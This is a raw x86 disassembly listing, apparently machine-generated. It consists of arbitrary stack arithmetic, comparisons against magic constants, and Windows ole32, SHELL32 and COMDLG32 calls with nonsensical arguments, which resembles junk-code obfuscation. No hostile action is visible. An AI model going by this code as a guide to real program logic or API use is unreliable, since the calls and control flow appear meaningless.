cmp dword [ebp - 0x61e0], 0
je 0x42f5fb
cmp dword [ebp - 0x61e0], 0x6dd7dd7f
je 0x42f4c2
jmp 0x42f7a1
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
or eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x5168]
mov edx, dword [ebp - 0xee0]
mov ecx, dword [ecx]
shr edx, cl
cmp eax, edx
jbe 0x42f5e1
mov eax, dword [ebp - 0x26b8]
mov dword [ebp - 0x61e4], eax
cmp dword [ebp - 0x61e4], 0x92814635
je 0x42f5ce
cmp dword [ebp - 0x61e4], 0xc70db08f
je 0x42f512
jmp 0x42f5e1
mov ecx, dword [ebp - 0xbb4]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x9b9]
shl edx, cl
mov byte [ebp + 0x18], dl
lea eax, [ebp - 0x2cc8]
push eax
lea ecx, [ebp - 0x11dc]
push ecx
lea edx, [ebp - 0x45ec]
push edx
push 0xc0
lea eax, [ebp - 0xfc8]
push eax
call dword [sym.imp.ole32.dll_CoInstall]
mov dword [ebp - 0x37c4], eax
movzx ecx, byte [ebp - 0x4d21]
movzx edx, byte [ebp - 0x9b9]
and ecx, edx
mov eax, dword [ebp - 0x35b8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3f0c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x5180], dx
movzx edx, byte [ebp + 0x18]
push edx
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x569c]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp - 0x3cc2]
push ecx
movzx edx, byte [ebp - 0x3cc2]
push edx
call fcn.00429f50
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [ebp - 0x3a60]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
jmp 0x42f5e1
lea ecx, [ebp - 0x1ce0]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [ebp - 0xdfc], eax
movsx edx, byte [ebp - 0x3cc2]
mov eax, dword [ebp - 0x4e90]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp + 0xc], dl
jmp 0x42f7a1
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x34dc]
add eax, ecx
movsx edx, word [ebp - 0x36b0]
movsx ecx, word [ebp + 0x10]
add edx, ecx
cmp eax, edx
jl 0x42f7a1
mov edx, dword [ebp - 0x5fdc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4d68]
add eax, dword [ecx]
mov edx, dword [ebp - 0x2118]
add edx, dword [ebp - 0x42e4]
cmp eax, edx
jl 0x42f7a1
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x5644]
mov edx, dword [ebp - 0xed0]
mov eax, dword [ebp - 0x4c40]
mov edx, dword [edx]
or edx, dword [eax]
cmp ecx, edx
jl 0x42f768
mov al, byte [ebp - 0x3cc2]
mov byte [ebp - 0x61e8], al
cmp byte [ebp - 0x61e8], 0x6a
je 0x42f686
jmp 0x42f766
mov ecx, dword [ebp - 0x4e90]
mov dl, byte [ecx]
mov byte [ebp - 0x61ec], dl
cmp byte [ebp - 0x61ec], 0x51
je 0x42f69f
jmp 0x42f708
mov eax, dword [ebp - 0x4e90]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x3cc2]
sar edx, cl
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], dl
push 0xb6
push 0xda
push 0x3b
mov ecx, dword [ebp - 0x624]
push ecx
call dword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x2f8]
and eax, ecx
mov word [ebp - 0x34dc], ax
movzx edx, word [ebp - 0x5180]
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x3f0c]
mov word [eax], dx
jmp 0x42f766
mov ecx, dword [ebp - 0x62c]
movzx edx, word [ecx]
push edx
movzx eax, byte [ebp - 0x3cc2]
push eax
movzx ecx, word [ebp - 0x2f8]
push ecx
mov dl, byte [ebp - 0x9b9]
mov cl, byte [ebp - 0x503f]
call fcn.00478870
lea edx, [ebp - 0x5644]
push edx
push 0x41
lea eax, [ebp - 0x3f4]
push eax
push 0x56
lea ecx, [ebp - 0x1090]
push ecx
lea edx, [ebp - 0x1090]
push edx
lea eax, [ebp - 0x3cc2]
push eax
call dword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [ebp - 0x2a0c], eax
jmp 0x42f7a1
mov ecx, dword [ebp - 0x5168]
mov edx, dword [ecx]
mov ecx, dword [ebp + 0x14]
shl edx, cl
mov eax, dword [ebp - 0x3a60]
mov ecx, dword [ebp - 0x3da8]
mov eax, dword [eax]
xor eax, dword [ecx]
cmp edx, eax
je 0x42f7a1
movzx ecx, byte [ebp - 0xf3d]
movzx edx, byte [ebp - 0x503f]
add ecx, edx
mov eax, dword [ebp - 0x35b8]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x44ad]
mov edx, dword [ebp - 0x3780]
movzx eax, byte [edx]
add ecx, eax
movzx edx, byte [ebp + 0x18]
movzx eax, byte [ebp - 0x4d21]
sub edx, eax
cmp ecx, edx
jle 0x42f861
mov ecx, dword [ebp - 0x3a60]
mov edx, dword [ebp - 0x12e0]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x2b4c], eax
mov ecx, dword [ebp - 0x5b24]
mov dl, byte [ecx]
mov byte [ebp - 0x61f0], dl
cmp byte [ebp - 0x61f0], 0x4a
je 0x42f84d
cmp byte [ebp - 0x61f0], 0x9e
je 0x42f800
jmp 0x42f861
mov eax, dword [ebp - 0x5fdc]
mov ecx, dword [ebp - 0x42e4]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4ff4]
mov dword [edx], ecx
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [ebp - 0x2b4c], eax
mov eax, dword [ebp - 0x539c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3cac]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
lea eax, [ebp - 0x12e0]
push eax
call dword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [ebp - 0x37c4], eax
jmp 0x42f861
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x26b8]
mov dword [ebp - 0x1d20], edx
movzx eax, byte [ebp - 0xf3d]
mov ecx, dword [ebp - 0x35b8]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x3780]
movzx edx, byte [ecx]
movzx ecx, byte [ebp + 0x18]
or edx, ecx
cmp eax, edx
jl 0x46bdf6
movzx edx, byte [ebp + 0x18]
mov eax, dword [ebp - 0x35b8]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3780]
movzx ecx, byte [eax]
mov eax, dword [ebp - 0xbb4]
movzx eax, byte [eax]
sub ecx, eax
cmp edx, ecx
jne 0x46bc14
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
add edx, ecx
movzx eax, byte [ebp - 0x4d21]
movzx ecx, byte [ebp - 0x503f]
sub eax, ecx
cmp edx, eax
jle 0x42f906
lea edx, [ebp - 0x2790]
push edx
call dword [sym.imp.ole32.dll_CoDisableCallCancellation]
mov dword [ebp - 0x840], eax
mov eax, dword [ebp - 0x4c40]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2118]
mov edx, dword [ebp - 0x4c40]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3780]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x4d21], cl
movzx ecx, word [ebp - 0x2df0]
movzx edx, word [ebp - 0x3ee8]
and ecx, edx
mov eax, dword [ebp - 0x5600]
mov word [eax], cx
mov ecx, dword [ebp + 0x14]
sub ecx, dword [ebp - 0x1d20]
mov edx, dword [ebp - 0x5168]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5cc4]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x4e90]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp + 0xc], dl
mov ecx, dword [ebp - 0x44f4]
add ecx, 0x3d
mov dword [ebp - 0x44f4], ecx
mov edx, dword [ebp - 0x5644]
mov ecx, dword [ebp - 0x3cac]
shl edx, cl
mov eax, dword [ebp - 0x2a80]
mov dword [eax], edx
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ebp - 0x1bc0]
or edx, dword [ecx]
mov dword [ebp + 0x14], edx
movzx eax, byte [ebp - 0x503f]
mov ecx, dword [ebp - 0xbb4]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x35b8]
mov byte [ecx], al
movzx edx, word [ebp - 0x3ee8]
movzx eax, word [ebp - 0x5180]
sub edx, eax
mov ecx, dword [ebp - 0x55ac]
mov word [ecx], dx
mov edx, dword [ebp - 0x35b8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x9b9]
and eax, ecx
mov byte [ebp + 0x18], al
mov edx, dword [ebp - 0xed0]
mov eax, dword [ebp - 0x3cac]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4c40]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3a60]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3da8]
add eax, dword [ecx]
mov edx, dword [ebp - 0x12e0]
mov dword [edx], eax
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2118]
mov dword [ebp - 0x5644], ecx
mov edx, dword [ebp - 0x24f0]
mov eax, dword [ebp - 0x42e4]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2a80]
mov dword [ecx], eax
movsx edx, word [ebp - 0x2f8]
movsx eax, word [ebp - 0x34dc]
sub edx, eax
mov ecx, dword [ebp - 0x569c]
mov word [ecx], dx
movsx edx, byte [ebp + 8]
mov eax, dword [ebp - 0x4e90]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], dl
mov ecx, dword [ebp - 0xbb4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x503f]
sub edx, eax
mov byte [ebp - 0x9b9], dl
movzx ecx, word [ebp - 0x3ee8]
mov edx, dword [ebp - 0x55ac]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x5180], cx
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1d20]
shr edx, cl
mov dword [ebp + 0x14], edx
mov eax, dword [ebp - 0x5644]
or eax, dword [ebp - 0x3cac]
mov ecx, dword [ebp - 0x24f0]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x44ad]
movzx eax, byte [ebp - 0xf3d]
xor edx, eax
mov byte [ebp - 0x9b9], dl
mov ecx, dword [ebp - 0x351c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x62c]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x55ac]
mov word [ecx], dx
mov edx, dword [ebp + 0x14]
add edx, dword [ebp - 0x2b4c]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x4d21]
movzx edx, byte [ebp - 0x9b9]
sub ecx, edx
mov byte [ebp + 0x18], cl
mov eax, dword [ebp - 0x4e90]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp + 0xc], cl
mov ecx, dword [ebp - 0x5168]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1d20]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x9b9]
movzx edx, byte [ebp - 0x4d21]
add ecx, edx
mov byte [ebp - 0x44ad], cl
mov eax, dword [ebp - 0x5600]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3f0c]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x5600]
mov word [edx], cx
mov eax, dword [ebp - 0x5644]
add eax, dword [ebp - 0x27d0]
mov ecx, dword [ebp - 0x4ff4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x539c]
mov eax, dword [ebp - 0x2a80]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x5f8c]
mov dword [edx], ecx
movsx eax, byte [ebp + 8]
movsx ecx, byte [ebp + 0xc]
sub eax, ecx
mov byte [ebp - 0x3cc2], al
movsx edx, word [ebp - 0x34dc]
movsx eax, word [ebp + 0x10]
sub edx, eax
mov ecx, dword [ebp - 0x569c]
mov word [ecx], dx
movzx edx, byte [ebp - 0x44ad]
movzx eax, byte [ebp - 0x4d21]
sub edx, eax
mov byte [ebp + 0x18], dl
movzx ecx, word [ebp - 0x2df0]
movzx edx, word [ebp - 0x1ff8]
or ecx, edx
mov eax, dword [ebp - 0x5600]
mov word [eax], cx
mov ecx, dword [ebp - 0x5168]
mov edx, dword [ebp + 0x14]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x26b8], edx
mov eax, dword [ebp - 0x3a60]
mov ecx, dword [ebp - 0x1bc0]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x5168]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3cac]
mov ecx, dword [ebp - 0x2960]
shl eax, cl
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
mov edx, dword [ebp - 0xed0]
mov eax, dword [ebp - 0x24f0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x2a80]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4ff4]
mov ecx, dword [ebp - 0x3cac]
add ecx, dword [eax]
mov dword [ebp - 0x42e4], ecx
movzx edx, byte [ebp - 0x4d21]
mov eax, dword [ebp - 0xbb4]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x44ad], dl
movzx edx, word [ebp - 0x2df0]
movzx eax, word [ebp - 0x5668]
and edx, eax
mov ecx, dword [ebp - 0x5600]
mov word [ecx], dx
mov edx, dword [ebp + 0x14]
add edx, dword [ebp - 0x26b8]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp + 0x18], dl
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [edx]
add eax, dword [ebp - 0x3cac]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xee0]
sub edx, dword [ebp - 0x1d20]
mov eax, dword [ebp - 0x12e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x55ac]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1ff8]
add edx, eax
mov ecx, dword [ebp - 0x3f0c]
mov word [ecx], dx
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x503f]
shl eax, cl
mov byte [ebp - 0xf3d], al
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x36b0]
xor edx, eax
mov ecx, dword [ebp - 0x569c]
mov word [ecx], dx
movsx edx, byte [ebp + 0xc]
movsx ecx, byte [ebp - 0x3cc2]
sar edx, cl
mov eax, dword [ebp - 0x4e90]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2b4c]
or ecx, dword [ebp - 0x26b8]
mov dword [ebp - 0x1bc0], ecx
cmp dword [ebp - 0x44f4], 0x1df9
jne 0x42f906
lea edx, [ebp - 0x27d0]
mov dword [ebp - 0x3c10], edx
movzx eax, byte [ebp + 0x18]
movzx ecx, byte [ebp - 0x4d21]
and eax, ecx
mov edx, dword [ebp - 0x35b8]
movzx ecx, byte [edx]
mov edx, dword [ebp - 0x5b24]
movzx edx, byte [edx]
add ecx, edx
cmp eax, ecx
je 0x42fde5
push 0x6f
mov eax, dword [ebp - 0x54bc]
push eax
call dword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [ebp - 0x37ac], eax
mov ecx, dword [ebp - 0x3780]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x44ad], dl
movzx edx, word [ebp - 0x5180]
movzx eax, word [ebp - 0x5668]
and edx, eax
mov ecx, dword [ebp - 0x351c]
mov word [ecx], dx
jmp 0x42fe83
mov edx, dword [ebp - 0x3cac]
mov dword [ebp - 0x61f4], edx
cmp dword [ebp - 0x61f4], 0x26116038
je 0x42fdff
jmp 0x42fe16
mov eax, dword [ebp - 0x3780]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x4d21]
add ecx, edx
mov byte [ebp + 0x18], cl
jmp 0x42fe83
mov eax, dword [ebp - 0x37ac]
mov dword [ebp - 0x61f8], eax
cmp dword [ebp - 0x61f8], 0x75a66e3
je 0x42fe30
jmp 0x42fe83
lea ecx, [ebp - 0x24b8]
push ecx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0x3180], eax
mov edx, dword [ebp - 0x3a60]
mov eax, dword [ebp - 0x26b8]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x37ac]
mov dword [ebp - 0x27d0], eax
mov ecx, dword [ebp - 0xed0]
mov edx, dword [ebp - 0x27d0]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x539c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x4d21]
movzx edx, byte [ebp - 0x9b9]
xor ecx, edx
mov byte [ebp - 0xf3d], cl
mov eax, dword [ebp - 0x37ac]
mov ecx, dword [ebp - 0x2960]
shl eax, cl
mov ecx, dword [ebp - 0x5644]
or ecx, dword [ebp - 0x2118]
cmp eax, ecx
jl 0x42ff72
mov edx, dword [ebp - 0x351c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
sub eax, edx
movzx ecx, word [ebp - 0x2df0]
mov edx, dword [ebp - 0x62c]
movzx edx, word [edx]
sub ecx, edx
cmp eax, ecx
jl 0x42ff5e
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x55ac]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x3f0c]
mov word [edx], cx
mov eax, dword [ebp - 0x12e0]
mov ecx, dword [eax]
mov dword [ebp - 0x59b0], ecx
mov edx, dword [ebp - 0x4d68]
mov eax, dword [edx]
and eax, dword [ebp - 0x3cac]
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
lea edx, [ebp - 0x37ac]
mov dword [ebp - 0x3678], edx
mov eax, dword [ebp - 0xed0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x2a80]
add ecx, dword [edx]
mov dword [ebp - 0x42e4], ecx
mov eax, dword [ebp - 0x4ff4]
mov ecx, dword [ebp - 0x42e4]
sub ecx, dword [eax]
mov dword [ebp - 0x2960], ecx
jmp 0x42ff6d
push 0x4d
lea edx, [ebp - 0x39fc]
push edx
call dword [sym.imp.SHELL32.dll_SHGetSettings]
jmp 0x430044
movsx eax, byte [ebp + 0xc]
movsx ecx, byte [ebp + 8]
add eax, ecx
mov byte [ebp - 0x3cc2], al
movsx edx, word [ebp - 0x2f8]
movsx ecx, word [ebp + 0x10]
shl edx, cl
mov eax, dword [ebp - 0x569c]
mov word [eax], dx
mov ecx, dword [ebp - 0x1d20]
mov dword [ebp - 0x61fc], ecx
cmp dword [ebp - 0x61fc], 0xfcc9c727
je 0x42ffb2
jmp 0x430003
call dword [sym.imp.ole32.dll_CoUninitialize]
movzx edx, byte [ebp - 0x503f]
push edx
movzx eax, byte [ebp - 0x3cc2]
push eax
call fcn.004d1cd0
mov ecx, dword [ebp - 0x35b8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3780]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp + 0x18], dl
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x62c]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x5600]
mov word [eax], dx
jmp 0x430044
lea ecx, [ebp - 0x1ce0]
push ecx
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x748]
push eax
lea ecx, [ebp - 0x4298]
push ecx
lea edx, [ebp - 0xf3d]
push edx
lea eax, [ebp - 0x39fc]
push eax
lea ecx, [ebp - 0x748]
push ecx
lea edx, [ebp - 0x2310]
push edx
call dword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [ebp - 0x3a24], eax
movzx eax, word [ebp - 0x1ff8]
mov dword [ebp - 0x6200], eax
cmp dword [ebp - 0x6200], 0x91b
je 0x43005f
jmp 0x4300a8
mov ecx, dword [ebp - 0x2118]
mov dword [ebp - 0x6204], ecx
cmp dword [ebp - 0x6204], 0x55d50118
je 0x430079
jmp 0x43008f
mov edx, dword [ebp - 0x26b8]
xor edx, dword [ebp - 0xee0]
mov eax, dword [ebp - 0x12e0]
mov dword [eax], edx
jmp 0x4300a3
mov ecx, dword [ebp - 0x3a60]
mov edx, dword [ebp - 0x2b4c]
and edx, dword [ecx]
mov dword [ebp - 0xee0], edx
jmp 0x430146
lea eax, [ebp - 0x3ee8]
mov dword [ebp - 0x12d0], eax
movzx ecx, byte [ebp - 0x503f]
mov edx, dword [ebp - 0xbb4]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x44ad], cl
lea ecx, [ebp - 0x42e4]
mov dword [ebp - 0x1920], ecx
mov edx, dword [ebp - 0xee0]
sub edx, dword [ebp + 0x14]
mov dword [ebp - 0x1bc0], edx
lea eax, [ebp - 0x42e4]
mov dword [ebp - 0x3db4], eax
mov ecx, dword [ebp - 0x539c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x37ac]
mov eax, dword [ebp - 0x5fdc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x351c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x5180]
add edx, eax
mov ecx, dword [ebp - 0x351c]
mov word [ecx], dx
mov dl, byte [ebp - 0xf3d]
mov byte [ebp - 0x85d], dl
mov eax, dword [ebp - 0x12e0]
mov ecx, dword [ebp - 0x59b0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3a60]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5168]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1bc0]
mov dword [ebp + 0x14], ecx
movsx edx, byte [ebp - 0x3cc2]
movsx eax, byte [ebp + 0xc]
and edx, eax
mov byte [ebp + 8], dl
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x2f8]
sub edx, eax
mov word [ebp - 0x36b0], dx
mov ecx, dword [ebp - 0x3780]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xbb4]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3118]
mov byte [ecx], dl
mov edx, dword [ebp - 0x457c]
sub edx, 0x57
mov dword [ebp - 0x457c], edx
movzx eax, word [ebp - 0x5180]
mov ecx, dword [ebp - 0x55ac]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x1ff8], ax
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [ebp - 0xee0]
xor ecx, dword [eax]
mov dword [ebp - 0x2b4c], ecx
movsx edx, word [ebp - 0x36b0]
movsx ecx, word [ebp - 0x2f8]
shl edx, cl
mov word [ebp + 0x10], dx
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x4ff4]
add ecx, dword [edx]
mov dword [ebp - 0x2118], ecx
mov eax, dword [ebp - 0x1d20]
and eax, dword [ebp - 0xee0]
mov ecx, dword [ebp - 0x3a60]
mov dword [ecx], eax
movsx edx, word [ebp - 0x2f8]
mov eax, dword [ebp - 0x569c]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp + 0x10], dx
mov edx, dword [ebp - 0x3f0c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x5668], ax
movzx eax, byte [ebp - 0xf3d]
movzx ecx, byte [ebp + 0x18]
sub eax, ecx
mov edx, dword [ebp - 0x5b24]
mov byte [edx], al
mov eax, dword [ebp - 0x4c40]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x42e4]
mov dword [ebp - 0x2960], ecx
mov edx, dword [ebp - 0x5168]
mov eax, dword [ebp - 0x1bc0]
add eax, dword [edx]
mov ecx, dword [ebp - 0x3a60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x27d0]
sub edx, dword [ebp - 0x42e4]
mov eax, dword [ebp - 0x24f0]
mov dword [eax], edx
movzx ecx, byte [ebp - 0xf3d]
movzx edx, byte [ebp - 0x9b9]
add ecx, edx
mov byte [ebp + 0x18], cl
movzx eax, byte [ebp + 0x18]
mov ecx, dword [ebp - 0x35b8]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x44ad], al
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x5668]
xor ecx, edx
mov word [ebp - 0x3ee8], cx
movsx eax, word [ebp - 0x2f8]
movsx ecx, word [ebp - 0x36b0]
shl eax, cl
mov word [ebp + 0x10], ax
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x3cc2]
sar edx, cl
mov eax, dword [ebp - 0x4e90]
mov byte [eax], dl
cmp dword [ebp - 0x457c], 0xe4b
ja 0x430146
movsx ecx, byte [ebp - 0x3cc2]
mov edx, dword [ebp - 0x4e90]
movsx eax, byte [edx]
or ecx, eax
movsx edx, byte [ebp + 0xc]
movsx eax, byte [ebp + 8]
add edx, eax
cmp ecx, edx
jle 0x4303b7
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ebp - 0x1bc0]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
push 0x70
lea ecx, [ebp - 0x5cc4]
push ecx
mov edx, dword [ebp - 0x624]
push edx
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0x5274]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [ebp - 0xb90], eax
call fcn.0046d040
mov edx, dword [ebp - 0x539c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x37ac]
mov ecx, dword [ebp - 0x1920]
mov dword [ecx], eax
mov edx, dword [ebp - 0x49f0]
push edx
mov eax, dword [ebp - 0x49f0]
push eax
mov ecx, dword [ebp - 0x2ca0]
push ecx
call dword [sym.imp.SHELL32.dll_FindExecutableW]
mov dword [ebp - 0x5000], eax
jmp 0x430513
mov dl, byte [ebp - 0x503f]
mov byte [ebp - 0x1001], dl
movsx eax, word [ebp - 0x2f8]
movsx ecx, word [ebp - 0x36b0]
add eax, ecx
movsx edx, word [ebp + 0x10]
movsx ecx, word [ebp - 0x34dc]
add edx, ecx
cmp eax, edx
jle 0x4304a5
mov edx, dword [ebp - 0x62c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5180]
sub eax, ecx
mov word [ebp - 0x1ff8], ax
movzx edx, byte [ebp - 0x4d21]
push edx
mov eax, dword [ebp - 0x5cc4]
movzx ecx, byte [eax]
push ecx
call fcn.004d1cd0
mov edx, dword [ebp - 0x42e4]
mov dword [ebp - 0x6208], edx
cmp dword [ebp - 0x6208], 0x2082115a
je 0x43043e
cmp dword [ebp - 0x6208], 0x42d877fc
je 0x43048e
jmp 0x4304a3
mov eax, dword [ebp - 0x1d20]
add eax, dword [ebp - 0x2b4c]
mov ecx, dword [ebp - 0x3a60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5168]
mov eax, dword [edx]
xor eax, dword [ebp - 0x59b0]
mov dword [ebp + 0x14], eax
lea ecx, [ebp - 0x60d8]
push ecx
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0xfc8], eax
mov edx, dword [ebp - 0x27d0]
mov ecx, dword [ebp - 0x3cac]
sar edx, cl
mov eax, dword [ebp - 0x4d68]
mov dword [eax], edx
jmp 0x4304a3
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ebp - 0x5168]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp + 0x14], eax
jmp 0x430513
movzx ecx, word [ebp - 0x1ff8]
movzx edx, word [ebp - 0x5668]
add ecx, edx
movzx eax, word [ebp - 0x5180]
mov edx, dword [ebp - 0x12d0]
movzx edx, word [edx]
sub eax, edx
cmp ecx, eax
jle 0x430513
movzx eax, byte [ebp - 0x1001]
push eax
mov ecx, dword [ebp - 0x3a60]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x569c]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x5cc4]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp + 0xc]
push ecx
call fcn.00429f50
movzx edx, word [ebp - 0x3ee8]
movzx eax, word [ebp - 0x5668]
or edx, eax
mov ecx, dword [ebp - 0x5600]
mov word [ecx], dx
mov dl, byte [ebp - 0x85d]
mov byte [ebp - 0x620c], dl
cmp byte [ebp - 0x620c], 0
je 0x43052d
jmp 0x46bab6
